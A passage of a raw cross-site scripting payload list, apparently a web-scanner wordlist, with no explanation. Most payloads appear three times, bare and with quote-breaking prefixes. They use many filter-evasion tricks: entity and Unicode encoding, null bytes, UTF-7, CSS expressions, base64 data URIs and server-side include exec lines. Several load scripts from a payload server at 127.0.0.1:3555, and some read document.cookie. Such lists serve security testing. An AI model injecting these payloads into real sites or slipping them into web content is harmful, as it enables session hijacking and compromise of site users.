url(\"javascript:alert('X')\");}</STYLE><UL><LI>X</br>\r\n<IMG SRC='vbscript:msgbox(\"X\")'>\r\n\"><IMG SRC='vbscript:msgbox(\"X\")'>\r\n'><IMG SRC='vbscript:msgbox(\"X\")'>\r\n<IMG SRC=\"livescript:[code]\">\r\n\"><IMG SRC=\"livescript:[code]\">\r\n'><IMG SRC=\"livescript:[code]\">\r\n<BODY ONLOAD=alert('X')>\r\n\"><BODY ONLOAD=alert('X')>\r\n'><BODY ONLOAD=alert('X')>\r\n<BGSOUND SRC=\"javascript:alert('X');\">\r\n\"><BGSOUND SRC=\"javascript:alert('X');\">\r\n'><BGSOUND SRC=\"javascript:alert('X');\">\r\n<BR SIZE=\"&{alert('X')}\">\r\n\"><BR SIZE=\"&{alert('X')}\">\r\n'><BR SIZE=\"&{alert('X')}\">\r\n<LINK REL=\"stylesheet\" HREF=\"javascript:alert('X');\">\r\n\"><LINK REL=\"stylesheet\" HREF=\"javascript:alert('X');\">\r\n'><LINK REL=\"stylesheet\" HREF=\"javascript:alert('X');\">\r\n<STYLE>BODY{-moz-binding:url(\"http://127.0.0.1:3555/xss_serve_payloads/X.xml#X\")}</STYLE>\r\n\"><STYLE>BODY{-moz-binding:url(\"http://127.0.0.1:3555/xss_serve_payloads/X.xml#X\")}</STYLE>\r\n'><STYLE>BODY{-moz-binding:url(\"http://127.0.0.1:3555/xss_serve_payloads/X.xml#X\")}</STYLE>\r\n<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"X\")';</STYLE>\r\n\"><STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"X\")';</STYLE>\r\n'><STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"X\")';</STYLE>\r\n<IMG STYLE=\"X:expr/*X*/ession(alert('X'))\">\r\n\"><IMG STYLE=\"X:expr/*X*/ession(alert('X'))\">\r\n'><IMG STYLE=\"X:expr/*X*/ession(alert('X'))\">\r\n<STYLE TYPE=\"text/javascript\">alert('X');</STYLE>\r\n\"><STYLE TYPE=\"text/javascript\">alert('X');</STYLE>\r\n'><STYLE TYPE=\"text/javascript\">alert('X');</STYLE>\r\n<STYLE>.X{background-image:url(\"javascript:alert('X')\");}</STYLE><A CLASS=X></A>\r\n\"><STYLE>.X{background-image:url(\"javascript:alert('X')\");}</STYLE><A CLASS=X></A>\r\n'><STYLE>.X{background-image:url(\"javascript:alert('X')\");}</STYLE><A CLASS=X></A>\r\n\"><A CLASS=X></A>\r\n'><A CLASS=X></A>\r\n<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('X')\")}</STYLE>\r\n\"><STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('X')\")}</STYLE>\r\n'><STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('X')\")}</STYLE>\r\n<X STYLE=\"X:expression(alert('X'))\">\r\n\"><X STYLE=\"X:expression(alert('X'))\">\r\n'><X STYLE=\"X:expression(alert('X'))\">\r\n<X STYLE=\"behavior: url(X.htc);\">\r\n\"><X STYLE=\"behavior: url(X.htc);\">\r\n'><X STYLE=\"behavior: url(X.htc);\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('X');\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('X');\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('X');\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('X');\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('X');\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('X');\">\r\n<IFRAME SRC=\"javascript:alert('X');\"></IFRAME>\r\n\"><IFRAME SRC=\"javascript:alert('X');\"></IFRAME>\r\n'><IFRAME SRC=\"javascript:alert('X');\"></IFRAME>\r\n<IFRAME SRC=# onmouseover=\"alert(document.cookie)\"></IFRAME>\r\n\"><IFRAME SRC=# onmouseover=\"alert(document.cookie)\"></IFRAME>\r\n'><IFRAME SRC=# onmouseover=\"alert(document.cookie)\"></IFRAME>\r\n<FRAMESET><FRAME SRC=\"javascript:alert('X');\"></FRAMESET>\r\n\"><FRAMESET><FRAME SRC=\"javascript:alert('X');\"></FRAMESET>\r\n'><FRAMESET><FRAME SRC=\"javascript:alert('X');\"></FRAMESET>\r\n<TABLE BACKGROUND=\"javascript:alert('X')\">\r\n\"><TABLE BACKGROUND=\"javascript:alert('X')\">\r\n'><TABLE BACKGROUND=\"javascript:alert('X')\">\r\n<TABLE><TD BACKGROUND=\"javascript:alert('X')\">\r\n\"><TABLE><TD BACKGROUND=\"javascript:alert('X')\">\r\n'><TABLE><TD BACKGROUND=\"javascript:alert('X')\">\r\n<DIV STYLE=\"background-image: url(javascript:alert('X'))\">\r\n\"><DIV STYLE=\"background-image: url(javascript:alert('X'))\">\r\n'><DIV STYLE=\"background-image: url(javascript:alert('X'))\">\r\n<DIV STYLE=\"background-image: url(&#1;javascript:alert('X'))\">\r\n\"><DIV STYLE=\"background-image: url(&#1;javascript:alert('X'))\">\r\n'><DIV STYLE=\"background-image: url(&#1;javascript:alert('X'))\">\r\n<DIV STYLE=\"width: expression(alert('X'));\">\r\n\"><DIV STYLE=\"width: expression(alert('X'));\">\r\n'><DIV STYLE=\"width: expression(alert('X'));\">\r\n<BASE HREF=\"javascript:alert('X');//\">\r\n\"><BASE HREF=\"javascript:alert('X');//\">\r\n'><BASE HREF=\"javascript:alert('X');//\">\r\n<object type=\"text/x-scriptlet\" data=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></object>\r\n\"><object type=\"text/x-scriptlet\" data=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></object>\r\n'><object type=\"text/x-scriptlet\" data=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></object>\r\n<object type=\"text/x-scriptlet\" data=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></object>\r\n\"><object type=\"text/x-scriptlet\" data=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></object>\r\n'><object type=\"text/x-scriptlet\" data=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></object>\r\n<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"></OBJECT>\r\n\"><OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"></OBJECT>\r\n'><OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"></OBJECT>\r\n<EMBED SRC=\"data:image/svg+xml;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\r\n\"><EMBED SRC=\"data:image/svg+xml;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\r\n'><EMBED SRC=\"data:image/svg+xml;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\r\n<SCRIPT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.jpg\"></SCRIPT>\r\n\"><SCRIPT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.jpg\"></SCRIPT>\r\n'><SCRIPT SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.jpg\"></SCRIPT>\r\n<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js></SCRIPT>'\"-->\r\n\"><!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js></SCRIPT>'\"-->\r\n'><!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js></SCRIPT>'\"-->\r\n<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>'\"-->\r\n\"><!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>'\"-->\r\n'><!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>'\"-->\r\n<? echo('<SCR)';echo('IPT>alert(\"X\")</SCRIPT>'); ?>\r\n\"><? echo('<SCR)';echo('IPT>alert(\"X\")</SCRIPT>'); ?>\r\n'><? echo('<SCR)';echo('IPT>alert(\"X\")</SCRIPT>'); ?>\r\nRedirect 302 /axaaX.jpg http://127.0.0.1:3555/xss_serve_payloads/X.html\r\n<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('X')</SCRIPT>\">\r\n\"><META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('X')</SCRIPT>\">\r\n'><META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('X')</SCRIPT>\">\r\n<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('X');+ADw-/SCRIPT+AD4-\r\n\"><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('X');+ADw-/SCRIPT+AD4-\r\n'><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('X');+ADw-/SCRIPT+AD4-\r\n<A HREF=\"http://127.0.0.1/\">X</A>\r\n\"><A HREF=\"http://127.0.0.1/\">X</A>\r\n'><A HREF=\"http://127.0.0.1/\">X</A>\r\n<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">X</A>\r\n\"><A HREF=\"http://0x42.0x0000066.0x7.0x93/\">X</A>\r\n'><A HREF=\"http://0x42.0x0000066.0x7.0x93/\">X</A>\r\n<A HREF=\"http://0102.0146.0007.00000223/\">X</A>\r\n\"><A HREF=\"http://0102.0146.0007.00000223/\">X</A>\r\n'><A HREF=\"http://0102.0146.0007.00000223/\">X</A>\r\n<A HREF=\"htt\tp://6\t6.000146.0x7.147/\">X</A>\r\n\"><A HREF=\"htt\tp://6\t6.000146.0x7.147/\">X</A>\r\n'><A HREF=\"htt\tp://6\t6.000146.0x7.147/\">X</A>\r\n<iframe %00 src=\"&Tab;javascript:prompt(1)&Tab;\"%00>\r\n\"><iframe %00 src=\"&Tab;javascript:prompt(1)&Tab;\"%00>\r\n'><iframe %00 src=\"&Tab;javascript:prompt(1)&Tab;\"%00>\r\n<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'\r\n\"><svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'\r\n'><svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'\r\n<input/onmouseover=\"javaSCRIPT&colon;confirm&lpar;1&rpar;\"\r\n\"><input/onmouseover=\"javaSCRIPT&colon;confirm&lpar;1&rpar;\"\r\n'><input/onmouseover=\"javaSCRIPT&colon;confirm&lpar;1&rpar;\"\r\n<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}\r\n\"><sVg><scRipt %00>alert&lpar;1&rpar; {Opera}\r\n'><sVg><scRipt %00>alert&lpar;1&rpar; {Opera}\r\n<img/src=`%00` onerror=this.onerror=confirm(1)\r\n\"><img/src=`%00` onerror=this.onerror=confirm(1)\r\n'><img/src=`%00` onerror=this.onerror=confirm(1)\r\n<form><isindex formaction=\"javascript&colon;confirm(1)\"\r\n\"><form><isindex formaction=\"javascript&colon;confirm(1)\"\r\n'><form><isindex formaction=\"javascript&colon;confirm(1)\"\r\n<img src=`%00`&NewLine; onerror=alert(1)&NewLine;\r\n\"><img src=`%00`&NewLine; onerror=alert(1)&NewLine;\r\n'><img src=`%00`&NewLine; onerror=alert(1)&NewLine;\r\n<script/&Tab; src='http://127.0.0.1:3555/xss_serve_payloads/X.js' /&Tab;></script>\r\n\"><script/&Tab; src='http://127.0.0.1:3555/xss_serve_payloads/X.js' /&Tab;></script>\r\n'><script/&Tab; src='http://127.0.0.1:3555/xss_serve_payloads/X.js' /&Tab;></script>\r\n<script/&Tab; src='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp' /&Tab;></script>\r\n\"><script/&Tab; src='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp' /&Tab;></script>\r\n'><script/&Tab; src='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp' /&Tab;></script>\r\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\r\n\"><ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\r\n'><ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\r\n<iframe/src=\"data:text/html;&Tab;base64&Tab;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n\"><iframe/src=\"data:text/html;&Tab;base64&Tab;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n'><iframe/src=\"data:text/html;&Tab;base64&Tab;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">\r\n<script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/\r\n\"><script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/\r\n'><script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/\r\n&#34;&#62;<h1/onmouseover='\\u0061lert(1)'>%00\r\n<iframe/src=\"data:text/html,<svg &#111;&#110;load=alert(1)>\">\r\n\"><iframe/src=\"data:text/html,<svg &#111;&#110;load=alert(1)>\">\r\n'><iframe/src=\"data:text/html,<svg &#111;&#110;load=alert(1)>\">\r\n<meta content=\"&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\r\n\"><meta content=\"&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\r\n'><meta content=\"&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\r\n<svg><script xlink:href=data&colon;,window.open('https://127.0.0.1:3555/xss_serve_payloads/X.html')></script\r\n\"><svg><script xlink:href=data&colon;,window.open('https://127.0.0.1:3555/xss_serve_payloads/X.html')></script\r\n'><svg><script xlink:href=data&colon;,window.open('https://127.0.0.1:3555/xss_serve_payloads/X.html')></script\r\n<svg><script x:href='http://127.0.0.1:3555/xss_serve_payloads/X.js'\r\n\"><svg><script x:href='http://127.0.0.1:3555/xss_serve_payloads/X.js'\r\n'><svg><script x:href='http://127.0.0.1:3555/xss_serve_payloads/X.js'\r\n<svg><script x:href='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp'\r\n\"><svg><script x:href='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp'\r\n'><svg><script x:href='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp'\r\n<meta http-equiv=\"refresh\" content=\"0;url=javascript:confirm(1)\">\r\n\"><meta http-equiv=\"refresh\" content=\"0;url=javascript:confirm(1)\">\r\n'><meta http-equiv=\"refresh\" content=\"0;url=javascript:confirm(1)\">\r\n<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>\r\n\"><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>\r\n'><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>\r\n<form><a href=\"javascript:\\u0061lert&#x28;1&#x29;\">X\r\n\"><form><a href=\"javascript:\\u0061lert&#x28;1&#x29;\">X\r\n'><form><a href=\"javascript:\\u0061lert&#x28;1&#x29;\">X\r\n</script><img/*%00/src=\"worksinchrome&colon;prompt&#x28;1&#x29;\"/%00*/onerror='eval(src)'>\r\n\"></script><img/*%00/src=\"worksinchrome&colon;prompt&#x28;1&#x29;\"/%00*/onerror='eval(src)'>\r\n'></script><img/*%00/src=\"worksinchrome&colon;prompt&#x28;1&#x29;\"/%00*/onerror='eval(src)'>\r\n<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>\r\n\"><img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>\r\n'><img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>\r\n<form><iframe &#09;&#10;&#11; src=\"javascript&#58;alert(1)\"&#11;&#10;&#09;;>\r\n\"><form><iframe &#09;&#10;&#11; src=\"javascript&#58;alert(1)\"&#11;&#10;&#09;;>\r\n'><form><iframe &#09;&#10;&#11; src=\"javascript&#58;alert(1)\"&#11;&#10;&#09;;>\r\n<a href=\"data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"&#09;&#10;&#11;>X</a\r\n\"><a href=\"data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"&#09;&#10;&#11;>X</a\r\n'><a href=\"data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"&#09;&#10;&#11;>X</a\r\nhttp://www.keralacyberforce<script .in>alert(document.location)</script\r\n<a&#32;href&#61;&#91;&#00;&#93;\"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;\">XYZ</a\r\n\"><a&#32;href&#61;&#91;&#00;&#93;\"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;\">XYZ</a\r\n'><a&#32;href&#61;&#91;&#00;&#93;\"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;\">XYZ</a\r\n<img/src=@&#32;&#13; onerror = prompt('&#49;')\r\n\"><img/src=@&#32;&#13; onerror = prompt('&#49;')\r\n'><img/src=@&#32;&#13; onerror = prompt('&#49;')\r\n<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;\r\n\"><style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;\r\n'><style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;\r\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\r\n\"><script ^__^>alert(String.fromCharCode(49))</script ^__^\r\n'><script ^__^>alert(String.fromCharCode(49))</script ^__^\r\n</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(\r\n\"></style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(\r\n'></style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(\r\n&#00;</form><input type&#61;\"date\" onfocus=\"alert(1)\">\r\n<form><textarea &#13; onkeyup='\\u0061\\u006C\\u0065\\u0072\\u0074&#x28;1&#x29;'>\r\n\"><form><textarea &#13; onkeyup='\\u0061\\u006C\\u0065\\u0072\\u0074&#x28;1&#x29;'>\r\n'><form><textarea &#13; onkeyup='\\u0061\\u006C\\u0065\\u0072\\u0074&#x28;1&#x29;'>\r\n<script /***/>/***/confirm('\\uFF41\\uFF4C\\uFF45\\uFF52\\uFF54\\u1455\\uFF11\\u1450')/***/</script /***/\r\n\"><script /***/>/***/confirm('\\uFF41\\uFF4C\\uFF45\\uFF52\\uFF54\\u1455\\uFF11\\u1450')/***/</script /***/\r\n'><script /***/>/***/confirm('\\uFF41\\uFF4C\\uFF45\\uFF52\\uFF54\\u1455\\uFF11\\u1450')/***/</script /***/\r\n<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>\r\n\"><iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>\r\n'><iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>\r\n<a href=\"javascript:void(0)\" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>\r\n\"><a href=\"javascript:void(0)\" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>\r\n'><a href=\"javascript:void(0)\" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>\r\n<script ~~~>alert(0%0)</script ~~~>\r\n\"><script ~~~>alert(0%0)</script ~~~>\r\n'><script ~~~>alert(0%0)</script ~~~>\r\n<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>\r\n\"><style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>\r\n'><style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>\r\n<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN\r\n\"><///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN\r\n'><///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN\r\n<img/src='http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg' onmouseover=&Tab;prompt(1)\r\n\"><img/src='http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg' onmouseover=&Tab;prompt(1)\r\n'><img/src='http://127.0.0.1:3555/xss_serve_payloads/jpg.jpg' onmouseover=&Tab;prompt(1)\r\n&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'\r\n&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}\r\n<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^\r\n\"><marquee onstart='javascript:alert&#x28;1&#x29;'>^__^\r\n'><marquee onstart='javascript:alert&#x28;1&#x29;'>^__^\r\n<div/style=\"width:expression(confirm(1))\">X</div>\r\n\"><div/style=\"width:expression(confirm(1))\">X</div>\r\n'><div/style=\"width:expression(confirm(1))\">X</div> {IE7}\r\n\"><div/style=\"width:expression(confirm(1))\">X</div>\r\n\"><div/style=\"width:expression(confirm(1))\">X</div>\r\n'><div/style=\"width:expression(confirm(1))\">X</div> {IE7}\r\n'><div/style=\"width:expression(confirm(1))\">X</div>\r\n\"><div/style=\"width:expression(confirm(1))\">X</div>\r\n'><div/style=\"width:expression(confirm(1))\">X</div> {IE7}\r\n<iframe/%00/ src=javaSCRIPT&colon;alert(1)\r\n\"><iframe/%00/ src=javaSCRIPT&colon;alert(1)\r\n'><iframe/%00/ src=javaSCRIPT&colon;alert(1)\r\n//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//\r\n/*iframe/src*/<iframe/src=\"<iframe/src=@\"/onload=prompt(1) /*iframe/src*/>\r\n//|\\\\ <script //|\\\\ src='http://127.0.0.1:3555/xss_serve_payloads/X.js'> //|\\\\ </script //|\\\\\r\n//|\\\\ <script //|\\\\ src='http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp'> //|\\\\ </script //|\\\\\r\n</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>\r\n\"></font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>\r\n'></font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>\r\n<a/href=\"javascript:&#13; javascript:prompt(1)\"><input type=\"X\">\r\n\"><a/href=\"javascript:&#13; javascript:prompt(1)\"><input type=\"X\">\r\n'><a/href=\"javascript:&#13; javascript:prompt(1)\"><input type=\"X\">\r\n</plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n\"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n'></plaintext\\></|\\><plaintext/onmouseover=prompt(1)\r\n</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;\r\n\"></svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;\r\n'></svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29;\r\n<a href=\"javascript&colon;\\u0061&#x6C;&#101%72t&lpar;1&rpar;\"><button>\r\n\"><a href=\"javascript&colon;\\u0061&#x6C;&#101%72t&lpar;1&rpar;\"><button>\r\n'><a href=\"javascript&colon;\\u0061&#x6C;&#101%72t&lpar;1&rpar;\"><button>\r\n<div onmouseover='alert&lpar;1&rpar;'>DIV</div>\r\n\"><div onmouseover='alert&lpar;1&rpar;'>DIV</div>\r\n'><div onmouseover='alert&lpar;1&rpar;'>DIV</div>\r\n<iframe style=\"position:absolute;top:0;left:0;width:100%;height:100%\" onmouseover=\"prompt(1)\">\r\n\"><iframe style=\"position:absolute;top:0;left:0;width:100%;height:100%\" onmouseover=\"prompt(1)\">\r\n'><iframe style=\"position:absolute;top:0;left:0;width:100%;height:100%\" onmouseover=\"prompt(1)\">\r\n<a href=\"jAvAsCrIpT&colon;alert&lpar;1&rpar;\">X</a>\r\n\"><a href=\"jAvAsCrIpT&colon;alert&lpar;1&rpar;\">X</a>\r\n'><a href=\"jAvAsCrIpT&colon;alert&lpar;1&rpar;\">X</a>\r\n<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>X</a>\r\n\"><a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>X</a>\r\n'><a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>X</a>\r\n<img src=\"/\" =_=\" title=\"onerror='prompt(1)'\">\r\n\"><img src=\"/\" =_=\" title=\"onerror='prompt(1)'\">\r\n'><img src=\"/\" =_=\" title=\"onerror='prompt(1)'\">\r\n<%<!--'%><script>alert(1);</script -->\r\n\"><%<!--'%><script>alert(1);</script -->\r\n'><%<!--'%><script>alert(1);</script -->\r\n<script src=\"data:text/javascript,alert(1)\"></script>\r\n\"><script src=\"data:text/javascript,alert(1)\"></script>\r\n'><script src=\"data:text/javascript,alert(1)\"></script>\r\n<iframe/src \\/\\/onload = prompt(1)\r\n\"><iframe/src \\/\\/onload = prompt(1)\r\n'><iframe/src \\/\\/onload = prompt(1)\r\n<iframe/onreadystatechange=alert(1)\r\n\"><iframe/onreadystatechange=alert(1)\r\n'><iframe/onreadystatechange=alert(1)\r\n<svg/onload=alert(1)\r\n\"><svg/onload=alert(1)\r\n'><svg/onload=alert(1)\r\n<input value=<><iframe/src=javascript:confirm(1)\r\n\"><input value=<><iframe/src=javascript:confirm(1)\r\n'><input value=<><iframe/src=javascript:confirm(1)\r\n<input type=\"text\" value=`` <div/onmouseover='alert(1)'>X</div>\r\n\"><input type=\"text\" value=`` <div/onmouseover='alert(1)'>X</div>\r\n'><input type=\"text\" value=`` <div/onmouseover='alert(1)'>X</div>\r\nhttp://www.<script>alert(1)</script .com\r\n<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>\r\n\"><iframe 